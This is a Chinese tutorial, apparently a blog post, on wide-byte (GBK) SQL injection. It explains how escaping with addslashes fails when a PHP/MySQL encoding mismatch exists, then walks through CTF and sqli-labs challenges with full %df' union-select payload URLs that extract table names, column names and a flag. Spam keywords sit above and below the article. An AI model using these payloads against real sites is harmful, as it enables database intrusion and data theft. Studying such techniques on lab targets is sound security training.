最美情侣中文字幕电影,在线麻豆精品传媒,在线网站高清黄,久久黄色视频

歡迎光臨散文網(wǎng) 會員登陸 & 注冊

寬字節(jié)注入詳解

2023-02-27 17:41 作者:青陽小棧  | 我要投稿

文章目錄

  • 1、涉及函數(shù)

  • 2、原理分析

  • 3、實戰(zhàn)

1、涉及函數(shù)

addslashes() 函數(shù)返回在預定義字符之前添加反斜杠的字符串mysql_real_escape_string() 函數(shù)轉(zhuǎn)義 SQL 語句中使用的字符串中的特殊字符mysql_escape_string() 轉(zhuǎn)義一個字符串


2、原理分析

先了解一下什么是窄、寬字節(jié)已經(jīng)常見寬字節(jié)編碼:

  • 當某字符的大小為一個字節(jié)時,稱其字符為窄字節(jié).

  • 當某字符的大小為兩個字節(jié)時,稱其字符為寬字節(jié).

  • 所有英文默認占一個字節(jié),漢字占兩個字節(jié)

  • 常見的寬字節(jié)編碼:GB2312,GBK,GB18030,BIG5,Shift_JIS等

為什么會產(chǎn)生寬字節(jié)注入,其中就涉及到編碼格式的問題了,寬字節(jié)注入主要是源于程序員設置數(shù)據(jù)庫編碼與PHP編碼設置為不同的兩個編碼格式從而導致產(chǎn)生寬字節(jié)注入

如果數(shù)據(jù)庫使用的的是GBK編碼而PHP編碼為UTF8就可能出現(xiàn)注入問題,原因是程序員為了防止SQL注入,就會調(diào)用我們上面所介紹的幾種函數(shù),將單引號或雙引號進行轉(zhuǎn)義操作,轉(zhuǎn)義無非便是在單或雙引號前加上斜杠(\)進行轉(zhuǎn)義 ,但這樣并非安全,因為數(shù)據(jù)庫使用的是寬字節(jié)編碼,兩個連在一起的字符會被當做是一個漢字,而在PHP使用的UTF8編碼則認為是兩個獨立的字符,如果我們在單或雙引號前添加一個字符,使其和斜杠(\)組合被當作一個漢字,從而保留單或雙引號,使其發(fā)揮應用的作用。但添加的字符的Ascii要大于128,兩個字符才能組合成漢字 ,因為前一個ascii碼要大于128,才到漢字的范圍 ,這一點需要注意。

3、實戰(zhàn)

南郵nctf-sql injection 3

https://chinalover.sinaapp.com/SQL-GBK/

https://chinalover.sinaapp.com/SQL-GBK/?id=1

https://chinalover.sinaapp.com/SQL-GBK/?id=1'

發(fā)現(xiàn)被轉(zhuǎn)義了

發(fā)現(xiàn)被轉(zhuǎn)義了,使用最經(jīng)典的%df

https://chinalover.sinaapp.com/SQL-GBK/?id=-1%df' and 1=1%23

%df與/組成了一個漢字綅

爆數(shù)據(jù)庫

https://chinalover.sinaapp.com/SQL-GBK/?id=-1%df' and 1=1 union select 1,database()%23

  • 1

爆表名

https://chinalover.sinaapp.com/SQL-GBK/?id=-1%df' and 1=1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()%23

  • 1

爆字段

注意這里要將表名轉(zhuǎn)化為16進制,并在前面加上0x

ctf4—>0x63746634

https://chinalover.sinaapp.com/SQL-GBK/?id=-1%df' and 1=1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x63746634%23

  • 1

爆值

https://chinalover.sinaapp.com/SQL-GBK/?id=-1%df' and 1=1 union select 1,(select flag from ctf4)%23

  • 1

在靶場SQL-labs32和33關(guān)也涉及到了寬字節(jié)注入

sql-labs-32關(guān)

當輸入id=1’時,被轉(zhuǎn)義了:

加上%df


后面的流程就不多說了,注意我們查詢表名和列名的時候要將其轉(zhuǎn)化為16進制,并在前面加上0x。


寬字節(jié)注入詳解的評論 (共 條)

分享到微博請遵守國家法律
华池县| 商河县| 绥化市| 福建省| 河北省| 钦州市| 伽师县| 安塞县| 新平| 疏勒县| 西昌市| 攀枝花市| 津南区| 天门市| 昭通市| 吴忠市| 大邑县| 丰原市| 成都市| 镇康县| 和田市| 鹤岗市| 巢湖市| 张家港市| 新干县| 浮梁县| 滁州市| 宣城市| 赤水市| 竹北市| 洪江市| 镇平县| 东平县| 黎城县| 成安县| 新闻| 麦盖提县| 临清市| 光山县| 伊金霍洛旗| 冀州市|